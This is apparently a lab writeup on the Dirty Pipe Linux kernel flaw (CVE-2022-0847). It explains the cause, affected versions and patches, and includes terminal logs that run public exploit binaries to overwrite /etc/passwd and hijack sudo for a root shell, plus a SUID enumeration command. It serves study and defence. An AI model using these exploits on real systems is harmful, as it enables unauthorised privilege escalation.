

DIRTY PIPE VULNERABILITY

CVE:

2022-0847

CVSS-Score:

7.8 (high)

Abstract:

Dirty Pipe vulnerability is a Linux kernel vulnerability that allows the ability of non-privileged users to overwrite read-only files. The vulnerability is due to an uninitialized “pipe_buffer.flags” variable, which overwrites any file contents in the page cache even if the file is not permitted to be written, immutable, or on a read-only mount, including CD-ROM mounts.

The page cache is always writable by the kernel and writing to a pipe never checks any permissions.

This enables attackers to perform privilege escalation by overwriting data in arbitrary read-only files and injecting code from unprivileged processes to privileged processes. This can make Linux and Android systems vulnerable to a multitude of malware and other exploits, including ransomware.

Kernel Version Affected by it

It affects the Linux kernels from 5.8 through any version before 5.16.11, 5.15.25 and 5.10.102.

This includes a multitude of devices running Android 12 and Linux.

Proof Of concept

```
ben@os-VirtualBox: ~/CVE-2022-0847-DirtyPipe-Exploits

ben@os-VirtualBox:~/CVE-2022-0847-DirtyPipe-Exploits$ ls -al
total 76
drwxrwxr-x 3 ben ben 4096 Jul 10 02:04 .
drwxr-xr-x 4 ben ben 4096 Jul 10 02:01 ..
-rwxrwxr-x 1 ben ben 71 Jul 10 02:01 compile.sh
-rwxrwxr-x 1 ben ben 17624 Jul 10 02:04 exploit-1
-rw-rw-r-- 1 ben ben 5364 Jul 10 02:01 exploit-1.c
-rwxrwxr-x 1 ben ben 18040 Jul 10 02:04 exploit-2
-rw-rw-r-- 1 ben ben 7752 Jul 10 02:01 exploit-2.c
drwxrwxr-x 8 ben ben 4096 Jul 10 02:01 .git
-rhythmbox 1 ben ben 2937 Jul 10 02:01 README.md
ben@os-VirtualBox:~/CVE-2022-0847-DirtyPipe-Exploits$ ./exploit-1
Backing up /etc/passwd to /tmp/passwd.bak ...
Setting root password to "piped"...
Password: Restoring /etc/passwd from /tmp/passwd.bak...
Done! Popping shell... (run commands now)
whoami
root
id
uid=0(root) gid=0(root) groups=0(root)
/bin/bash -i
root@os-VirtualBox:~# exit
exit
exit

[3]+  Stopped                  ./exploit-1
ben@os-VirtualBox:~/CVE-2022-0847-DirtyPipe-Exploits$
```

```
ben@os-VirtualBox: ~/CVE-2022-0847-DirtyPipe-Exploits

ben@os-VirtualBox:~$ sudo apt-get update
[sudo] password for ben:
ben is not in the sudoers file. This incident will be reported.
ben@os-VirtualBox:~$ sudo apt-get upgrade
[sudo] password for ben:
ben is not in the sudoers file. This incident will be reported.
ben@os-VirtualBox:~$ cat /etc/*issue
Ubuntu 20.04.3 LTS \n \l

ben@os-VirtualBox:~$ uname -r
5.11.0-27-generic
ben@os-VirtualBox:~$ cd CVE-2022-0847-dirty-pipe-checker/
ben@os-VirtualBox:~/CVE-2022-0847-dirty-pipe-checker$ ./dpipe.sh
5 11 0
Vulnerable
ben@os-VirtualBox:~/CVE-2022-0847-dirty-pipe-checker$ cd ..
ben@os-VirtualBox:~$ cd CVE-2022-0847-D
bash: cd: CVE-2022-0847-D: No such file or directory
ben@os-VirtualBox:~$ ls -al
total 28
drwxr-xr-x 4 ben ben 4096 Jul 10 02:01 .
drwxr-xr-x 4 root root 4096 Jul 10 01:21 ..
-rw-r--r-- 1 ben ben 220 Jul 10 01:21 .bash_logout
-rw-r--r-- 1 ben ben 3771 Jul 10 01:21 .bashrc
drwxrwxr-x 3 ben ben 4096 Jul 10 02:01 CVE-2022-0847-dirty-pipe-checker
drwxrwxr-x 3 ben ben 4096 Jul 10 02:04 CVE-2022-0847-DirtyPipe-Exploits
-rw-r--r-- 1 ben ben 807 Jul 10 01:21 .profile
ben@os-VirtualBox:~$ cd CVE-2022-0847-DirtyPipe-Exploits/
ben@os-VirtualBox:~/CVE-2022-0847-DirtyPipe-Exploits$ ls -la
total 76
drwxrwxr-x 3 ben ben 4096 Jul 10 02:04 .
drwxr-xr-x 4 ben ben 4096 Jul 10 02:01 ..
-rwxrwxr-x 1 ben ben 71 Jul 10 02:01 compile.sh
-rwxrwxr-x 1 ben ben 17624 Jul 10 02:04 exploit-1
-rw-rw-r-- 1 ben ben 5364 Jul 10 02:01 exploit-1.c
-rwxrwxr-x 1 ben ben 18040 Jul 10 02:04 exploit-2
-rw-rw-r-- 1 ben ben 7752 Jul 10 02:01 exploit-2.c
drwxrwxr-x 8 ben ben 4096 Jul 10 02:01 .git
-rw-rw-r-- 1 ben ben 2937 Jul 10 02:01 README.md
```

```
ben@os-VirtualBox: ~/CVE-2022-0847-DirtyPipe-Exploits$ sudo -l
[sudo] password for ben:
Sorry, user ben may not run sudo on os-VirtualBox.
ben@os-VirtualBox:~/CVE-2022-0847-DirtyPipe-Exploits$ find / -perm -4000 2>/dev/null
/snap/core18/2128/bin/mount
/snap/core18/2128/bin/ping
/snap/core18/2128/bin/su
/snap/core18/2128/bin/umount
/snap/core18/2128/usr/bin/chfn
/snap/core18/2128/usr/bin/chsh
/snap/core18/2128/usr/bin/gpasswd
/snap/core18/2128/usr/bin/newgrp
/snap/core18/2128/usr/bin/passwd
/snap/core18/2128/usr/bin/sudo
/snap/core18/2128/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2128/usr/lib/openssh/ssh-keysign
/snap/snapd/12704/usr/lib/snapd/snap-confine
/usr/sbin/pppd
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/snapd/snap-confine
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/xorg/Xorg.wrap
/usr/lib/eject/dmccrypt-get-device
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/umount
/usr/bin/sudo
/usr/bin/su
/usr/bin/pkexec
/usr/bin/chfn
/usr/bin/mount
/usr/bin/gpasswd
/usr/bin/fusermount
/opt/VBoxGuestAdditions-6.1.34/bin/VBoxDRMClient
ben@os-VirtualBox:~/CVE-2022-0847-DirtyPipe-Exploits$ ./exploit-2 /usr/bin/sudo
[+] hijacking suid binary..
[+] dropping suid shell..
[+] restoring suid binary..
[+] popping root shell.. (dont forget to clean up /tmp/sh ;))
# id
uid=0(root) gid=0(root) groups=0(root),1001(guest),1002(ben)
# whomei
/bin/sh: 2: whomei: not found
# whoami
root
```

Mitigations

- Apply all relevant security updates once they are available. To patch CVE-2022-0847, update your Linux systems to versions 5.16.11, 5.15.25 and 5.10.102 or newer.
- Use a security solution that provides patch management and endpoint protection, such as Kaspersky Endpoint Security for Linux.
- Use the latest Threat Intelligence information to stay aware of actual TTPs used by threat actors.

LABS

<https://tryhackme.com/room/dirtypipe>

REFERENCE

<https://github.com/AlexisAhmed/CVE-2022-0847-DirtyPipe-Exploits>

<https://dirtypipe.cm4all.com/>

<https://securelist.com/cve-2022-0847-aka-dirty-pipe-vulnerability-in-linux-kernel/106088/>

